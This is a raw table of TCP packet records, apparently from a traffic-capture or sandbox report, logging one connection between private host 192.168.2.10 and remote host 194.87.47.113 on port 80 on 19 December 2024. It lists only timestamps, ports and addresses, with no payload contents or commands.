Dec 19, 2024 08:21:23.344368935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.345132113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.345191002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.345221996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.345879078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.346009016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.364545107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.365374088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.365443945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.365672112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.365727901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.365780115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.366482019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.366683960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.366733074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.367352962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.367430925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.368156910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.368206024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.368211031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.368248940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.368694067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.368761063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.369205952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.369251013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.369353056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.369467020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.369935036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.370060921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.370639086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.370670080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.370692968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.370729923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.371231079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.371243000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.371294975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.371697903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.371723890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.372385025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.372437954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.372508049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.372565985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.373219013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.373358011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.373976946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.374026060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.374102116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.374140978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.374845028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.374965906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.375160933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.375579119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.375654936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.375710964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.376394033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.376466990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.377191067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.377242088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.377293110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.377340078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.377989054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.378094912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.378175974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.378791094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.378846884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.379640102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.379684925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.379687071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.379730940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.380387068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.380436897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.381194115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.381206036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.381293058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.381961107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.382006884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.451126099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.451244116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.451442957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.451584101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.451658010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.452209949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.452264071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.452295065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.452337980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.452929974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.459234953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.459265947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.459323883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.459353924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.459403038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.459425926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.460408926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.460591078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.460648060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.461422920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.461467981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.461515903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.495151997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.495248079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.495330095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.495665073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.495716095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.495795012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.496356010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.496521950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.496573925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.497100115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.497148991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.497231007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.497950077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.498045921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.498111963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.498706102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.498831987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.498882055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.499526024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.499546051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.499572039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.511821032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.511950016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.512031078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.512099028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.512115002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.512141943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.512582064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.512629986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.512685061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.513377905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.513442993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.513480902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.514172077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.514225006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.514297009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.514981031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.515024900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.515078068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.515788078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.515881062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.515921116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.516582012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.516621113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.516694069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.517437935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.517539024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.517581940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.518202066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.518251896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.518270969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.518938065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.519248962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.533437967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.533549070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.533601046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.533847094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.533981085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.534167051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.534656048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.534789085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.535516024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.535571098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.535655975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.535695076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.536367893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.536490917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.537133932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.537184000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.537291050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.538089991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.538103104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.538141012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.538158894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.556688070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.556719065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.556828022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.556874990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.556891918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.556929111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.557352066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.557476997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.557529926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.557846069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.557964087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.558187962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.558687925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.558801889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.559456110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.559567928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.559586048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.559631109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.560301065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.560384989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.561033964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.561090946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.561156988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.561199903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.562046051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.562196016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.562783003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.562834024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.562851906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.562866926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.563435078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.563544989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.564244986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.564301968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.564369917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.564412117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.565100908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.565205097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.565959930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.566095114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.566168070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.566240072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.566653013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.566786051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.567222118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.567550898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.567651987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.568234921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.568281889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.568339109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.568377018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.569046974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.569196939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.569849014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.569891930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.569972992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.570101023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.570696115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.570791960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.570842028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.571494102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.571599007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.572254896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.572302103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.572359085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.572396994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.573035002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.573203087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.573261023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.573899031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.573971987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.577028036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.642978907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.642993927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.643047094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.643176079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.643361092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.643696070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.643990040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.644125938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.644164085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.644809008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.644886971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.645117998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.651498079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.651602030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.651654959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.651885986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.652062893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.652446985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.652678967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.652772903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.652811050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.653425932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.687731981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.687786102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.687814951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.688081026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.688114882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.688118935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.688777924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.688822031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.688960075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.689333916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.689378023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.689409971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.690171003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.690213919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.690279961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.690920115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.691059113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.691102982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.691728115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.691741943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.691782951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.703845978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.703911066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.703995943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.704265118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.704322100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.704349995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.705101013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.705151081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.705276966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.705898046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.705976963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.706001997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.706557989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.706701040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.706741095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.707381010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.707420111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.707442999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.708195925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.708308935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.708347082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.708944082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.708988905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.709059000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.709744930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.709847927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.709892988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.710500956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.710545063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.710608959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.725483894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.725528955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.725641012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.725866079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.725977898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.726025105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.726691961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.726741076 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.726800919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.727448940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.727509022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.727559090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.728260040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.728334904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.728380919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.729047060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.729185104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.729208946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.729831934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.729870081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.730025053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.748338938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.748390913 CET	49720	80	192.168.2.10	194.87.47.113
